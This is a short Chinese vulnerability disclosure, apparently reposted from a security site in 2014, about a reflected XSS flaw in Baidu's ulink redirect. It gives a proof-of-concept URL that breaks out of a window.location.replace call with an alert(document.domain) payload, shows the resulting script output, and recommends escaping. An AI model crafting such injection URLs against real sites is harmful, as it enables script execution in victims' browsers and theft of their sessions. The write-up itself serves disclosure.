百度主站反射型XSS漏洞及修复下载

来源:黑吧安全网 浏览:1289次 时间:2014-05-09
做网站找雨过天晴工作室

百度主站反射型XSS 很低级的错误,下歌词的时候,无意中发现的。

以下面的URL为例:
http://www.baidu.com/ulink?url=http%3A%2F%2Fmusic.baidu.com%2F%2Fdata2%2Flrc%2F34272020%2F34272020.lrc%3Ffm%3Daltg5&wd=lose%20yourself%E6%AD%8C%E8%AF%8D&&tn=baidu&&ie=utf-8&&&&oq=lose%20yourse&&f=3&rsp=1&inputT=11

这里的参数url的值,最后会传递到window.location.replace里面


<script>window.location.replace("http://music.baidu.com//data2/lrc/34272020/34272020.lrc?fm=altg5")</script>

这里有对http://music.baidu.com//data2/lrc/34272020/34272020.lrc这个文件的存在与否做了判断,但是可以在后面的参数上做文章。比如:
http://www.baidu.com/ulink?url=http%3A%2F%2Fmusic.baidu.com%2F%2Fdata2%2Flrc%2F34272020%2F34272020.lrc%3Ffm%3Daltg5%22%29;alert%28document.domain%29;//&wd=lose%20yourself%E6%AD%8C%E8%AF%8D&&tn=baidu&&ie=utf-8&&&&oq=lose%20yourse&&f=3&rsp=1&inputT=11

最终变成:<script>window.location.replace("http://music.baidu.com//data2/lrc/34272020/34272020.lrc?fm=altg5");alert(document.domain);//")</script>

由于是输出在script内的情况,所以浏览器自带的一些XSS filter应该是不会去拦截的。

相关贴图:



测试于firefox28,chrome33


修复方案:

escape it